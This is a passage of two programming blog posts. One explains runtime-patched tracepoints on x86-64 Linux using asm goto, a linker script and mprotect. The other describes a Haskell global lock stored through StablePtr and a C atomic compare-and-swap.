<p>Each tracepoint is simply a global variable. The construct <code>do { ... } while (0)</code> is a standard trick to make macro-expanded code play nicely with its surroundings. We also use GCC's syntax for <a href="http://gcc.gnu.org/onlinedocs/gcc/Variadic-Macros.html#Variadic-Macros">macros with a variable number of arguments</a>.</p>
<p>This approach does introduce a bit of overhead. One concern is that reading a global variable will cause a cache miss and will also evict a line of useful data from the cache. There's also some impact from adding a branch instruction. We'll develop a significantly more complicated implementation which avoids both of these problems.</p>
<p>Our new solution will be specific to <a href="http://en.wikipedia.org/wiki/X86-64">x86-64</a> processors running Linux, though the idea can be ported to other platforms. This approach is inspired by various self-modifying-code schemes in the Linux kernel, such as <a href="http://lwn.net/Articles/343766/">ftrace</a>, <a href="http://lwn.net/Articles/132196/">kprobes</a>, <a href="http://lwn.net/Articles/245671/">immediate values</a>, etc. It's mostly intended as an example of how these tricks work. The code in this article is not production-ready.</p>
<h1 id="the-design">The design</h1>
<p>Our new <code>TRACE</code> macro will produce code like the following pseudo-assembly:</p>
<pre class="sourceCode"><code class="sourceCode nasm"><span class="fu">foo:</span><br /> ...<br /> <span class="co">; code before tracepoint</span><br /> ...<br /><span class="fu">tracepoint:</span><br /> <span class="kw">nop</span><br /><span class="fu">after_tracepoint:</span><br /> ...<br /> <span class="co">; rest of function</span><br /> ...<br /> <span class="kw">ret</span><br /><br /><span class="fu">do_tracepoint:</span><br /> <span class="kw">push</span> args to printf<br /> <span class="kw">call</span> printf<br /> <span class="kw">jmp</span> after_tracepoint</code></pre>
<p>In the common case, the tracepoint is disabled, and the overhead is only a single <a href="http://en.wikipedia.org/wiki/NOP"><code>nop</code></a> instruction. To enable the tracepoint, we replace the <code>nop</code> instruction in memory with <code>jmp do_tracepoint</code>.</p>
<h1 id="the-trace-macro">The <code>TRACE</code> macro</h1>
<p>Our <code>nop</code> instruction needs to be big enough that we can overwrite it with an unconditional jump. On x86-64, the standard <code>jmp</code> instruction has a 1-byte opcode and a 4-byte signed relative displacement, so we need a 5-byte <code>nop</code>. Five one-byte <code>0x90</code> instructions would work, but a single five-byte instruction will consume fewer CPU resources. Finding the best way to do nothing is actually rather difficult, but the Linux kernel has already compiled a list of <a href="http://lxr.linux.no/linux+v3.1/arch/x86/include/asm/nops.h">favorite nops</a>. We'll use this one:</p>
<pre class="sourceCode"><code class="sourceCode c"><span class="ot">#define NOP5 </span><span class="ot">".byte 0x0f, 0x1f, 0x44, 0x00, 0x00;"</span></code></pre>
<p>Let's check this instruction using <a href="http://udis86.sourceforge.net/"><code>udcli</code></a>:</p>
<pre><code><span class="Prompt">$</span> <span class="Entry">echo 0f 1f 44 00 00 | udcli -x -64 -att</span>
0000000000000000 0f1f440000 nop 0x0(%rax,%rax)
</code></pre>
<p>GCC's <a href="http://gcc.gnu.org/onlinedocs/gcc/Extended-Asm.html#Extended-Asm">extended inline assembly</a> lets us insert arbitrarily bizarre assembly code into a normal C program. We'll use the <a href="http://gcc.gnu.org/onlinedocs/gcc/Extended-Asm.html#Extended-asm-with-goto"><code>asm goto</code></a> flavor, new in GCC 4.5, so that we can pass C labels into our assembly code. (The tracing use case inspired the <code>asm goto</code> feature, and my macro is adapted from an example in the GCC manual.)</p>
<p>Here's how it looks:</p>
<pre class="sourceCode"><code class="sourceCode c"><span class="kw">typedef</span> <span class="dt">int</span> tracepoint;<br /><br /><span class="ot">#define TRACE(_point, _args...) \
do { \
asm goto ( \
"0: " NOP5 \
".pushsection trace_table, \"a\";" \
".quad " #_point ", 0b, %l0;" \
".popsection" \
: : : : __lbl_##_point); \
if (0) { \
__lbl_##_point: printf(_args); \
} \
} while (0)</span></code></pre>
<p>We use the <a href="http://gcc.gnu.org/onlinedocs/cpp/Stringification.html">stringify</a> and <a href="http://gcc.gnu.org/onlinedocs/cpp/Concatenation.html">concat</a> macro operators, and rely on the gluing together of adjacent string literals. A call like this:</p>
<pre class="sourceCode"><code class="sourceCode c">TRACE(foo_entry, <span class="st">"called foo(%d)</span><span class="ch">\n</span><span class="st">"</span>, n);</code></pre>
<p>will produce the following code:</p>
<pre class="sourceCode"><code class="sourceCode c"> <span class="kw">do</span> {<br /> <span class="kw">asm</span> <span class="kw">goto</span> (<br /> <span class="st">"0: .byte 0x0f, 0x1f, 0x44, 0x00, 0x00;"</span><br /> <span class="st">".pushsection trace_table, </span><span class="ch">\"</span><span class="st">a</span><span class="ch">\"</span><span class="st">;"</span><br /> <span class="st">".quad foo_entry, 0b, %l0;"</span><br /> <span class="st">".popsection"</span><br /> : : : : __lbl_foo_entry);<br /> <span class="kw">if</span> (<span class="dv">0</span>) {<br /> __lbl_foo_entry: printf(<span class="st">"called foo(%d)</span><span class="ch">\n</span><span class="st">"</span>, n);<br /> }<br /> } <span class="kw">while</span> (<span class="dv">0</span>);</code></pre>
<p>Besides emitting the <code>nop</code> instruction, we write three 64-bit values ("<code>quad</code>s"). They are, in order:</p>
<ul class="incremental">
<li>The address of the <code>tracepoint</code> variable declared by the user. We never actually read or write this variable. We're just using its address as a unique key.</li>
<li>The address of the <code>nop</code> instruction, by way of a <a href="http://sourceware.org/binutils/docs-2.21/as/Symbol-Names.html#index-local-labels-217">local assembler label</a>.</li>
<li>The address of the C label for our <code>printf</code> call, as passed to <code>asm goto</code>.</li>
</ul>
<p>This is the information we need in order to patch in a <code>jmp</code> at runtime. The <a href="http://sourceware.org/binutils/docs-2.21/as/PushSection.html"><code>.pushsection</code></a> directive makes the assembler write into the <code>trace_table</code> <a href="http://sourceware.org/binutils/docs-2.21/as/Secs-Background.html">section</a> without disrupting the normal flow of code and data. The <code>"a"</code> <a href="http://sourceware.org/binutils/docs/as/Section.html#index-Section-Stack-443">section flag</a> marks these bytes as "allocatable", i.e. something we actually want available at runtime.</p>
<p>We count on GCC's optimizer to notice that the condition <code>0</code> is unlikely to be true, and therefore move the <code>if</code> body to the end of the function. It's still considered reachable due to the label passed to <code>asm goto</code>, so it will not fall victim to dead code elimination.</p>
<h1 id="the-linker-script">The linker script</h1>
<p>We have to collect all of these <code>trace_table</code> records, possibly from multiple source files, and put them somewhere for use by our C code. We'll do this with the following <a href="http://sourceware.org/binutils/docs/ld/Scripts.html#Scripts">linker script</a>:</p>
<pre><code>SECTIONS {
trace_table : {
trace_table_start = .;
*(trace_table)
trace_table_end = .;
}
}
</code></pre>
<p>This concatenates all <code>trace_table</code> sections into a single section in the resulting binary. It also provides symbols <code>trace_table_start</code> and <code>trace_table_end</code> at the endpoints of this section.</p>
<h1 id="memory-protection">Memory protection</h1>
<p>Linux systems will prevent an application from overwriting its own code, for <a href="http://www.openbsd.org/papers/ven05-deraadt/mgp00009.html">good security reasons</a>, but we can explicitly override these permissions. Memory permissions are managed per <a href="http://en.wikipedia.org/wiki/Page_(computer_memory)">page</a> of memory. There's a <a href="http://www.kernel.org/doc/man-pages/online/pages/man3/sysconf.3.html">correct way</a> to determine the size of a page, but our code is terribly x86-specific anyway, so we'll hardcode the page size of 4096 bytes.</p>
<pre class="sourceCode"><code class="sourceCode c"><span class="ot">#define PAGE_SIZE 4096</span><br /><span class="ot">#define PAGE_OF(_addr) ( ((uint64_t) (_addr)) & ~(PAGE_SIZE-1) )</span></code></pre>
<p>Then we can unprotect an arbitrary region of memory by calling <a href="http://www.kernel.org/doc/man-pages/online/pages/man2/mprotect.2.html"><code>mprotect</code></a> for the appropriate page(s):</p>
<pre class="sourceCode"><code class="sourceCode c"><span class="dt">static</span> <span class="dt">void</span> unprotect(<span class="dt">void</span> *addr, size_t len) {<br /> <span class="dt">uint64_t</span> pg1 = PAGE_OF(addr),<br /> pg2 = PAGE_OF(addr + len - <span class="dv">1</span>);<br /> <span class="kw">if</span> (mprotect((<span class="dt">void</span> *) pg1, pg2 - pg1 + PAGE_SIZE,<br /> PROT_READ | PROT_EXEC | PROT_WRITE)) {<br /> perror(<span class="st">"mprotect"</span>);<br /> abort();<br /> }<br />}</code></pre>
<p>We're calling <code>mprotect</code> on a page which was not obtained from <a href="http://www.kernel.org/doc/man-pages/online/pages/man2/mmap.2.html"><code>mmap</code></a>. POSIX does not define this behavior, but Linux specifically allows <code>mprotect</code> on any page except the <a href="http://transnum.blogspot.com/2009/01/linuxs-vsyscall.html">vsyscall page</a>.</p>
<h1 id="enabling-a-tracepoint">Enabling a tracepoint</h1>
<p>Now we need to implement the <code>enable</code> function:</p>
<pre class="sourceCode"><code class="sourceCode c"><span class="dt">void</span> enable(tracepoint *point);</code></pre>
<p>We will scan through the <code>trace_table</code> records looking for a matching <code>tracepoint</code> pointer. The C struct corresponding to a <code>trace_table</code> record is:</p>
<pre class="sourceCode"><code class="sourceCode c"><span class="kw">struct</span> trace_desc {<br /> tracepoint *point;<br /> <span class="dt">void</span> *jump_from;<br /> <span class="dt">void</span> *jump_to;<br />} __attribute__((packed));</code></pre>
<p>The <code>packed</code> attribute tells GCC not to insert any padding within or after these structs. This ensures that their layout will match the records we produced from assembly. Now we can implement a linear search through this table.</p>
<pre class="sourceCode"><code class="sourceCode c"><span class="dt">void</span> enable(tracepoint *point) {<br /> <span class="kw">extern</span> <span class="kw">struct</span> trace_desc trace_table_start[], trace_table_end[];<br /> <span class="kw">struct</span> trace_desc *desc;<br /> <span class="kw">for</span> (desc = trace_table_start; desc < trace_table_end; desc++) {<br /> <span class="kw">if</span> (desc->point != point)<br /> <span class="kw">continue</span>;<br /><br /> <span class="dt">int64_t</span> offset = (desc->jump_to - desc->jump_from) - <span class="dv">5</span>;<br /> <span class="kw">if</span> ((offset > INT32_MAX) || (offset < INT32_MIN)) {<br /> fprintf(stderr, <span class="st">"offset too big: %lx</span><span class="ch">\n</span><span class="st">"</span>, offset);<br /> abort();<br /> }<br /><br /> <span class="dt">int32_t</span> offset32 = offset;<br /> <span class="dt">unsigned</span> <span class="dt">char</span> *dest = desc->jump_from;<br /> unprotect(dest, <span class="dv">5</span>);<br /> dest[<span class="dv">0</span>] = <span class="bn">0xe9</span>;<br /> memcpy(dest<span class="dv">+1</span>, &offset32, <span class="dv">4</span>);<br /> }<br />}</code></pre>
<p>We enable a tracepoint by overwriting its <code>nop</code> with an unconditional jump. The opcode is <code>0xe9</code>. The operand is a 32-bit displacement, interpreted relative to the instruction <em>after</em> the jump. <code>desc->jump_from</code> points to the beginning of what will be the jump instruction, so we subtract 5 from the displacement. Then we unprotect memory and write the new bytes into place.</p>
<p>That's everything. You can grab all of this code from <a href="https://github.com/kmcallister/tracepoints">GitHub</a>, including a simple test program.</p>
<h1 id="pitfalls">Pitfalls</h1>
<p>Where to start?</p>
<p>This code is extremely non-portable, relying on details of x86-64, Linux, and specific recent versions of the GNU C compiler and assembler. The idea can be ported to other platforms, with some care. For example, ARM processors require an <a href="http://lxr.linux.no/linux+v3.1/arch/arm/include/asm/cacheflush.h#L176">instruction cache flush</a> after writing to code. Linux on ARM <a href="http://lxr.linux.no/linux+v3.1/arch/arm/kernel/traps.c#L502">implements</a> the <a href="http://www.kernel.org/doc/man-pages/online/pages/man2/cacheflush.2.html"><code>cacheflush</code> system call</a> for this purpose.</p>
<p>Our code is not thread-safe, either. If one thread reaches a <code>nop</code> while it is being overwritten by another thread, the result will surely be a crash or other horrible bug. The <a href="http://www.ksplice.com/doc/ksplice.pdf">Ksplice paper</a> [PDF] discusses how to prevent this, in the context of <a href="http://www.ksplice.com/">live-patching the Linux kernel</a>.</p>
<p>Is it worth opening this can of worms in order to improve performance a little? In general, no. Obviously we'd have to measure the performance difference to be sure. But for most projects, concerns of maintainability and avoiding bugs will preclude tricky hacks like this one.</p>
<p>The Linux kernel is under extreme demands for both performance and flexibility. It's part of every application on a huge number of systems, so any small performance improvement has a large aggregate effect. And those systems are incredibly diverse, making it likely that <em>someone</em> will see a large difference. Finally, kernel development will always involve tricky low-level code as a matter of course. The infrastructure is already there to support it — both software infrastructure and knowledgeable developers.</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com81tag:blogger.com,1999:blog-1563623855220143059.post-75293288501224083212011-11-04T04:22:00.000-07:002011-11-04T05:00:18.554-07:00Global locking through StablePtr<p>I spoke before of using <a href="http://mainisusuallyafunction.blogspot.com/2011/10/safe-top-level-mutable-variables-for.html">global locks in Haskell</a> to protect a thread-unsafe C library. And I wrote about a <a href="http://mainisusuallyafunction.blogspot.com/2011/10/thunks-and-lazy-blackholes-introduction.html">GHC bug</a> which breaks the most straightforward way to get a global lock.</p>
<p>My new solution is to store an <a href="http://lambda.haskell.org/hp-tmp/docs/2011.2.0.0/ghc-doc/libraries/base-4.3.1.0/Control-Concurrent-MVar.html"><code>MVar</code></a> lock in a C global variable via <a href="http://lambda.haskell.org/hp-tmp/docs/2011.2.0.0/ghc-doc/libraries/haskell2010-1.0.0.0/Foreign-StablePtr.html"><code>StablePtr</code></a>. I've implemented this, and it seems to work. I'd appreciate if people could bang on this code and report any issues.</p>
<p>You can get the library from <a href="http://hackage.haskell.org/package/global-lock">Hackage</a> or browse <a href="https://github.com/kmcallister/global-lock">the source</a>, including a <a href="https://github.com/kmcallister/global-lock/blob/master/test/counter.hs">test program</a>. You can also use this code as a template for including a similar lock in your own Haskell project.</p>
<h1 id="the-c-code">The C code</h1>
<p>On <a href="https://github.com/kmcallister/global-lock/blob/master/cbits/global.c">the C side</a>, we declare a global variable and a function to read that variable.</p>
<pre class="sourceCode"><code class="sourceCode c"><span class="dt">static</span> <span class="dt">void</span>* global = <span class="dv">0</span>;<br /><br /><span class="dt">void</span>* hs_globalzmlock_get_global(<span class="dt">void</span>) {<br /> <span class="kw">return</span> global;<br />}</code></pre>
<p>To avoid name clashes, I gave this function a long name based on the <a href="http://hackage.haskell.org/trac/ghc/wiki/Commentary/Compiler/SymbolNames">z-encoding</a> of my package's name. The variable named <code>global</code> will not conflict with another compilation unit, because it's declared <code>static</code>.</p>
<p>Another C function will set this variable, if it was previously 0. Two threads might execute this code concurrently, so we use a GCC <a href="http://gcc.gnu.org/onlinedocs/gcc/Atomic-Builtins.html">built-in for atomic memory access</a>.</p>
<pre class="sourceCode"><code class="sourceCode c"><span class="dt">int</span> hs_globalzmlock_set_global(<span class="dt">void</span>* new_global) {<br /> <span class="dt">void</span>* old = __sync_val_compare_and_swap(&global, <span class="dv">0</span>, new_global);<br /> <span class="kw">return</span> (old == <span class="dv">0</span>);<br />}</code></pre>
<p>If <code>old</code> is not 0, then someone has already set <code>global</code>, and our assignment was dropped. We report this condition to the caller.</p>
<h1 id="foreign-imports">Foreign imports</h1>
<p>On <a href="https://github.com/kmcallister/global-lock/blob/master/System/GlobalLock/Internal.hs">the Haskell side</a>, we import these C functions.</p>
<pre class="sourceCode"><code class="sourceCode haskell"><span class="kw">foreign import ccall unsafe</span> <span class="st">"hs_globalzmlock_get_global"</span><br /><span class="ot"> c_get_global </span><span class="ot">::</span> <span class="dt">IO</span> (<span class="dt">Ptr</span> ())<br /><br /><span class="kw">foreign import ccall</span> <span class="st">"hs_globalzmlock_set_global"</span><br /><span class="ot"> c_set_global </span><span class="ot">::</span> <span class="dt">Ptr</span> () <span class="ot">-></span> <span class="dt">IO</span> <span class="dt">CInt</span></code></pre>
<p>The <code>unsafe</code> import of <code>c_get_global</code> demands justification. This wrinkle arises from the fact that GHC runs many Haskell threads on the same OS thread. A long-running foreign call from that OS thread might <a href="http://blog.ezyang.com/2010/07/safety-first-ffi-and-threading/">block unrelated Haskell code</a>. GHC prevents this by moving the foreign call and/or other Haskell threads to a different OS thread. This adds latency to the foreign call — about 100 nanoseconds in my tests.</p>
<p>In most cases a 100 ns overhead is negligible. But it matters for functions which are guaranteed to return in a very short amount of time. And blocking other Haskell threads during such a short call is fine. Marking the import <code>unsafe</code> tells GHC to ignore the blocking concern, and generate a direct C function call.</p>
<p>Our function <code>c_get_global</code> is a good use case for <code>unsafe</code>, because it simply returns a global variable. In my <a href="https://github.com/kmcallister/global-lock/blob/master/test/bench.hs">tests</a>, adding <code>unsafe</code> decreased the overall latency of locking by about 50%. We cannot use <code>unsafe</code> with <code>c_set_global</code> because, in the worst case, GCC implements atomic operations with blocking library functions. That's okay because <code>c_set_global</code> will only be called a few times anyway.</p>
<h1 id="the-haskell-code">The Haskell code</h1>
<p>Now we have access to a C global of type <code>void*</code>, and we want to store a Haskell value of type <code>MVar ()</code>. The <a href="http://lambda.haskell.org/hp-tmp/docs/2011.2.0.0/ghc-doc/libraries/haskell2010-1.0.0.0/Foreign-StablePtr.html"><code>StablePtr</code></a> module is just what we need. A <code>StablePtr</code> is a reference to some Haskell expression, which can be converted to <code>Ptr ()</code>, aka <code>void*</code>. There is no guarantee about this <code>Ptr ()</code> value, except that it can be converted back to the original <code>StablePtr</code>.</p>
<p>Here's how we store an <code>MVar</code>:</p>
<pre class="sourceCode"><code class="sourceCode haskell"><span class="ot">set </span><span class="ot">::</span> <span class="dt">IO</span> ()<br />set <span class="fu">=</span> <span class="kw">do</span><br /> mv <span class="ot"><-</span> newMVar ()<br /> ptr <span class="ot"><-</span> newStablePtr mv<br /> ret <span class="ot"><-</span> c_set_global (castStablePtrToPtr ptr)<br /> when (ret <span class="fu">==</span> <span class="dv">0</span>) <span class="fu">$</span><br /> freeStablePtr ptr</code></pre>
<p>It's fine for two threads to enter <code>set</code> concurrently. In one thread, the assignment will be dropped, and <code>c_set_global</code> will return 0. In that case we free the unused <code>StablePtr</code>, and the <code>MVar</code> will eventually be garbage-collected. <code>StablePtr</code>s must be freed manually, because the GHC garbage collector can't tell if some C code has stashed away the corresponding <code>void*</code>.</p>
<p>Now we can retrieve the <code>MVar</code>, or create it if necessary.</p>
<pre class="sourceCode"><code class="sourceCode haskell"><span class="ot">get </span><span class="ot">::</span> <span class="dt">IO</span> (<span class="dt">MVar</span> ())<br />get <span class="fu">=</span> <span class="kw">do</span><br /> p <span class="ot"><-</span> c_get_global<br /> <span class="kw">if</span> p <span class="fu">==</span> nullPtr<br /> <span class="kw">then</span> set <span class="fu">>></span> get<br /> <span class="kw">else</span> deRefStablePtr (castPtrToStablePtr p)</code></pre>
<p>In the common path, we do an unsynchronized read on the global variable. Only if the variable appears to contain <code>NULL</code> do we allocate an <code>MVar</code>, perform a synchronized compare-and-swap, etc. This keeps overhead low, and makes this library suitable for fine-grained locking.</p>
<p>All that's left is the user-visible locking interface:</p>
<pre class="sourceCode"><code class="sourceCode haskell"><span class="ot">lock </span><span class="ot">::</span> <span class="dt">IO</span> a <span class="ot">-></span> <span class="dt">IO</span> a<br />lock act <span class="fu">=</span> get <span class="fu">>>=</span> <span class="fu">flip</span> withMVar (<span class="fu">const</span> act)</code>
</pre>
<h1 id="inspecting-the-machine-code">Inspecting the machine code</h1>
<p>Just for fun, let's see how GCC implements <code>__sync_val_compare_and_swap</code> on the AMD64 architecture.</p>
<pre><code><span class="Prompt">$</span> <span class="Entry">objdump -d dist/build/cbits/global.o</span>
...
0000000000000010 <hs_globalzmlock_set_global>:
10: 31 c0 xor %eax,%eax
12: f0 48 0f b1 3d 00 00 lock cmpxchg %rdi,0x0(%rip)
19: 00 00
....
</code></pre>
<p>This <code>lock cmpxchg</code> is the same instruction used by the <a href="http://hackage.haskell.org/trac/ghc/browser/includes/stg/SMP.h?rev=96c80d34163fd422cbc18f4532b7556212a554b8#L165">GHC runtime system</a> for its own atomic compare-and-swap. The offset on the operand <code>0x0(%rip)</code> will be <a href="http://www.iecc.com/linker/linker07.html">relocated</a> to point at <code>global</code>.</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com18